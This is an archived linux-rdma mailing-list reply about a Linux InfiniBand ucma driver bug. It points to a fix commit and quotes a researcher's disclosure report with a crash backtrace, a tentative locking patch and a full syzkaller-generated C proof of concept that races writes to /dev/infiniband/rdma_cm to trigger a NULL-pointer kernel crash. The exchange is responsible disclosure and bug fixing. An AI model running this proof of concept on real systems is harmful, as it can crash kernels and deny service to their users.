Re: [lianyihan@xxxxxx: linux driver infiniband vulnerability report]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Fri, Mar 30, 2018 at 11:30:00AM +0300, Dan Carpenter wrote:
> Thank you for your report!
>
> The syzcaller stuff is all public information so we just push it out to
> the normal email lists.

We believe that this commit [1] fixes it.

[1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/drivers/infiniband/core?id=e8980d67d6017c8eee8f9c35f782c4bd68e004c9

Thanks

>
> regards,
> dan carpenter
>
> ----- Forwarded message from 连一汉 <lianyihan@xxxxxx> -----
>
> Date: Fri, 30 Mar 2018 08:16:09 +0000
> From: 连一汉 <lianyihan@xxxxxx>
> To: "edumazet@xxxxxxxxxx" <edumazet@xxxxxxxxxx>
> CC: "security@xxxxxxxxxx" <security@xxxxxxxxxx>
> Subject: linux driver infiniband vulnerability report
> Message-ID: <A962A2D04FAB5C4499FEFD15B642FA0A35E231EE@xxxxxxxxxxxxxxxxxxx>
>
> Hi,
>
> I’m Lian yihan, a security researcher of Qihoo 360 GearTeam.
>
> I found a vulnerability of Linux driver infiniband, and I have reproduce it on Linux-4.14.31.
>
> =============== crash info =================
> #0  rdma_destroy_id (id=0x0 <irq_stack_union>) at drivers/infiniband/core/cma.c:1652
> #1  0xffffffff83140a06 in ucma_destroy_id (file=<optimized out>, inbuf=<optimized out>, in_len=<optimized out>, out_len=<optimized out>)
>     at drivers/infiniband/core/ucma.c:606
> #2  0xffffffff83140f1f in ucma_write (filp=<optimized out>, buf=0x20000380 "\001", len=24, pos=<optimized out>) at drivers/infiniband/core/ucma.c:1626
> #3  0xffffffff81a097a6 in __vfs_write (file=0xffff88007f20e6c0, p=<optimized out>, count=24, pos=0xffff880090c97d98) at fs/read_write.c:480
> #4  0xffffffff81a09d48 in vfs_write (file=0xffff88007f20e6c0, buf=0x20000380 "\001", count=24, pos=<optimized out>) at fs/read_write.c:544
>
> You can see (struct rdma_cm_id*) pointer id of rdma_destroy_id is zero.
>
> There are many functions of ucma.c have similar BUGs.
>
> And I have seen some similar BUGs on your “syzbot” website, But I don’t find the patch.
>
> I try to write a simple patch in ucma_create_id() function as follow(I’m not sure it is complete enough):
>
> static ssize_t ucma_create_id(struct ucma_file *file, const char __user *inbuf,
>                                int in_len, int out_len)
> {
>
> mutex_lock(&mut);                                        // The lock could patch the BUG mentioned in this email, but I’m not sure it is complete enough.
>         ctx->uid = cmd.uid;
>         ctx->cm_id = rdma_create_id(current->nsproxy->net_ns,
>                                      ucma_event_handler, ctx, cmd.ps, qp_type);
>         mutex_unlock(&mut);
>
> }
>
> The attachment is my POC. Of course you need to build infiniband in kernel, if you want to reproduce it.
>
> Regards
>
>
>
> // autogenerated by syzkaller (http://github.com/google/syzkaller)
>
> #define _GNU_SOURCE
> #include <endian.h>
> #include <linux/futex.h>
> #include <pthread.h>
> #include <stdint.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <unistd.h>
>
> static void test();
>
> void loop()
> {
>   while (1) {
>     test();
>   }
> }
>
> struct thread_t {
>   int created, running, call;
>   pthread_t th;
> };
>
> static struct thread_t threads[16];
> static void execute_call(int call);
> static int running;
> static int collide;
>
> static void* thr(void* arg)
> {
>   struct thread_t* th = (struct thread_t*)arg;
>   for (;;) {
>     while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE))
>       syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0);
>     execute_call(th->call);
>     __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
>     __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE);
>     syscall(SYS_futex, &th->running, FUTEX_WAKE);
>   }
>   return 0;
> }
>
> static void execute(int num_calls)
> {
>   int call, thread;
>   running = 0;
>   for (call = 0; call < num_calls; call++) {
>     for (thread = 0; thread < sizeof(threads) / sizeof(threads[0]); thread++) {
>       struct thread_t* th = &threads[thread];
>       if (!th->created) {
>         th->created = 1;
>         pthread_attr_t attr;
>         pthread_attr_init(&attr);
>         pthread_attr_setstacksize(&attr, 128 << 10);
>         pthread_create(&th->th, &attr, thr, th);
>       }
>       if (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) {
>         th->call = call;
>         __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
>         __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE);
>         syscall(SYS_futex, &th->running, FUTEX_WAKE);
>         if (collide && call % 2)
>           break;
>         struct timespec ts;
>         ts.tv_sec = 0;
>         ts.tv_nsec = 20 * 1000 * 1000;
>         syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts);
>         if (running)
>           usleep((call == num_calls - 1) ? 10000 : 1000);
>         break;
>       }
>     }
>   }
> }
>
> uint64_t r[2] = {0xffffffffffffffff, 0xffffffff};
> void execute_call(int call)
> {
>   long res;
>   switch (call) {
>   case 0:
>     memcpy((void*)0x20000640, "/dev/infiniband/rdma_cm", 24);
>     res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000640, 2, 0);
>     if (res != -1)
>       r[0] = res;
>     break;
>   case 1:
>     *(uint32_t*)0x20000340 = 0;
>     *(uint16_t*)0x20000344 = 0x18;
>     *(uint16_t*)0x20000346 = 0xfa00;
>     *(uint64_t*)0x20000348 = 0;
>     *(uint64_t*)0x20000350 = 0x20000100;
>     *(uint16_t*)0x20000358 = 0x106;
>     *(uint8_t*)0x2000035a = 0;
>     *(uint8_t*)0x2000035b = 0;
>     *(uint8_t*)0x2000035c = 0;
>     *(uint8_t*)0x2000035d = 0;
>     *(uint8_t*)0x2000035e = 0;
>     *(uint8_t*)0x2000035f = 0;
>     res = syscall(__NR_write, r[0], 0x20000340, 0x20);
>     if (res != -1)
>       r[1] = *(uint32_t*)0x20000100;
>     break;
>   case 2:
>     *(uint32_t*)0x20000380 = 1;
>     *(uint16_t*)0x20000384 = 0x10;
>     *(uint16_t*)0x20000386 = 0xfa00;
>     *(uint64_t*)0x20000388 = 0x20000300;
>     *(uint32_t*)0x20000390 = r[1];
>     *(uint32_t*)0x20000394 = 0;
>     syscall(__NR_write, r[0], 0x20000380, 0x18);
>     break;
>   }
> }
>
> void test()
> {
>   execute(3);
>   collide = 1;
>   execute(3);
> }
>
> int main()
> {
>   syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
>   for (;;) {
>     loop();
>   }
> }
>
>
> ----- End forwarded message -----
> --
> To unsubscribe from this list: send the line "unsubscribe linux-rdma" in
> the body of a message to majordomo@xxxxxxxxxxxxxxx
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

Attachment: signature.asc
Description: PGP signature


[Index of Archives]     [Linux USB Devel]     [Video for Linux]     [Linux Audio Users]     [Photo]     [Yosemite News]     [Yosemite Photos]     [Linux Kernel]     [Linux SCSI]     [XFree86]

  Powered by Linux